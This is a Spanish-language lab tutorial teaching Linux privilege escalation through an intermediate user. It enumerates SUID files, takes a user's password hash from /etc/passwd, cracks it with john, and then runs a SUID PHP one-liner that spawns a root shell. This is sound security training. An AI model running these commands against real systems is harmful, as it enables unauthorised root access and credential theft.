Introducción
En este laboratorio, aprenderemos cómo elevar los privilegios al usuario root cuando no podemos elevarlos directamente a root. Lograremos esto elevando primero los privilegios a otro usuario regular y luego utilizando los privilegios de ese usuario para elevarlos al usuario root. Este usuario intermedio se conoce como usuario "piedra de toque" (stepping stone).
El objetivo de este laboratorio es elevar los privilegios desde el usuario www-data al usuario alice y luego desde el usuario alice al usuario root.
Inicializar el entorno del laboratorio
En este paso, inicializaremos el entorno del laboratorio.
Primero, abre una terminal y navega hasta el directorio
/home/labex/project:cd /home/labex/projectEjecuta el siguiente comando para configurar el entorno del laboratorio:
./env_setup.sh
Este comando descargará y ejecutará un script que configura el entorno necesario para el laboratorio. Después de ejecutar este comando, deberías cambiar al usuario www-data, simulando una shell inicial obtenida a través de una vulnerabilidad web.
Intentar la escalada de privilegios SUID
En este paso, intentaremos elevar los privilegios utilizando la técnica SUID (Set User ID). Buscaremos archivos ejecutables con el bit SUID establecido, que se pueden ejecutar con los permisos del propietario del archivo (en este caso, root).
Primero, busquemos archivos ejecutables SUID a los que el usuario
www-datapueda acceder:find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txtEste comando buscará en todo el sistema de archivos archivos propiedad del usuario root y con el bit SUID establecido (modo de permisos 4000).
Después de ejecutar el comando, deberías ver una lista de archivos ejecutables SUID en el archivo
www-data_suid_files.txt. Examinemos el contenido de este archivo:cat ~/www-data_suid_files.txt
Sin embargo, en este caso, no hay archivos adecuados para la escalada de privilegios SUID.
Investigar el directorio de usuario (Home Directory)
Dado que no pudimos elevar los privilegios utilizando la técnica SUID, investiguemos el directorio de usuario en busca de posibles usuarios "piedra de toque" (stepping stone).
Primero, guardemos el contenido del directorio
/homeen un archivo para su posterior análisis:ls -alh /home > ~/home_dir_contents.txtEste comando listará el contenido del directorio
/homeen formato detallado, incluyendo tamaños de archivos y permisos, y lo guardará en el archivohome_dir_contents.txt.A continuación, examinemos el contenido del archivo
home_dir_contents.txtpara identificar posibles "piedras de toque":cat ~/home_dir_contents.txtEn la salida deberías ver un directorio llamado
alice, lo que indica la existencia de un usuario llamadoaliceen el sistema.
Intentar escalar privilegios al usuario Alice
Dado que el usuario www-data no tiene acceso al directorio de alice, necesitamos encontrar una forma de elevar los privilegios al usuario alice primero.
Veamos el archivo
/etc/passwdpara obtener información sobre el usuarioalice:cat /etc/passwd | grep alice > ~/alice_info.txtComprobemos el contenido del archivo
alice_info.txtpara ver los detalles del usuarioalicecat ~/alice_info.txtSalida esperada:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bashEn la salida, deberías ver una entrada para el usuario
alice, incluyendo el hash de la contraseña.Para descifrar el hash de la contraseña, podemos usar la herramienta
john. Abre una nueva terminal y ejecuta el siguiente comando:john ~/alice_info.txt > cracked_passwords.txtEjemplo de salida:
Created directory: /var/www/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedEsto iniciará el proceso de descifrado de la contraseña. Una vez que se haya descifrado la contraseña, deberías ver la contraseña en el archivo
cracked_passwords.txt.cat ~/cracked_passwords.txtEjemplo de salida:
Loaded 1 password hash (md5crypt [MD5 32/64 X2]) beautiful (alice)En este caso, la contraseña del usuario
aliceesbeautiful. Utiliza el comandosupara cambiar al usuarioalice:su - aliceIngresa la contraseña que desciframos anteriormente (
beautiful) cuando se te solicite.beautifulDespués de cambiar exitosamente al usuario
alice, navega al directorio dealicey crea un nuevo archivo llamadoalice.txt:cd /home/aliceCrea un nuevo archivo llamado
alice.txt:touch ~/alice.txtAhora deberías tener acceso al directorio de
alicey a su contenido.
Intentar escalación de privilegios SUID como el usuario Alice
Ahora que hemos elevado los privilegios al usuario alice, intentemos nuevamente la técnica de escalada de privilegios SUID.
Asegúrate de estar en el directorio de usuario de
alice:cd /home/aliceEjecuta el siguiente comando para encontrar archivos con el bit SUID establecido:
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txtComprueba el contenido del archivo
alice_suid_files.txtpara ver la lista de archivos SUID:cat alice_suid_files.txtSalida esperada:
... /var/bin/php ...Esta vez, deberías ver un archivo ejecutable
/var/bin/phpen la salida. Este archivo se puede utilizar para la escalada de privilegios SUID.Para elevar los privilegios al usuario root, ejecuta el siguiente comando:
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"Este comando ejecutará un script de PHP que crea una nueva shell con privilegios de root.
Ahora deberías tener una shell de root, indicada por el prompt
#en la terminal. Verifica que tienes privilegios de root creando un archivo en el directorio raíz:touch /root/root.txtSi el archivo se crea sin errores de permisos, has elevado con éxito los privilegios al usuario root utilizando la técnica SUID.
Comprender la diferencia en los permisos de directorio
Puedes estar preguntándote por qué el usuario alice pudo encontrar el archivo ejecutable SUID php, mientras que el usuario www-data no. La respuesta radica en los permisos de directorio.
Después del último paso, aún debes tener una shell como el usuario root como la siguiente:
sh-5.1#
Examinemos los permisos del directorio
/var/biny guardemos la salida en un archivo:ls -lh /var > /root/var_permissions.txtComprobemos el contenido del archivo
var_permissions.txtpara ver los permisos del directorio/var:cat /root/var_permissions.txtSalida esperada:
total 0 ... drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin ...En la salida, deberías ver que el directorio
/var/bines propiedad del usuario y grupoalice. Otros usuarios no tienen permisos de lectura, escritura o ejecución para este directorio.
Esto significa que cuando elevamos los privilegios al usuario alice, obtuvimos acceso a archivos y directorios que antes eran inaccesibles para el usuario www-data. Esta diferencia en los permisos nos permitió encontrar y utilizar el archivo ejecutable SUID para la escalada de privilegios.
Resumen
En este laboratorio, aprendimos cómo elevar los privilegios al usuario root cuando la escalada directa a root no es posible. Lo logramos primero elevando los privilegios al usuario alice, un usuario "piedra de toque" (stepping stone), y luego utilizando los privilegios del usuario alice para elevarlos al usuario root.
La principal lección de este laboratorio es siempre tener en cuenta las diferencias en los permisos entre usuarios, ya que a veces se pueden aprovechar estas diferencias para la escalada de privilegios. Si bien utilizamos un ejemplo sencillo en este laboratorio, los escenarios del mundo real pueden ser más complejos, pero el principio fundamental sigue siendo el mismo: explotar las diferencias en los permisos de usuario para lograr la escalada de privilegios.



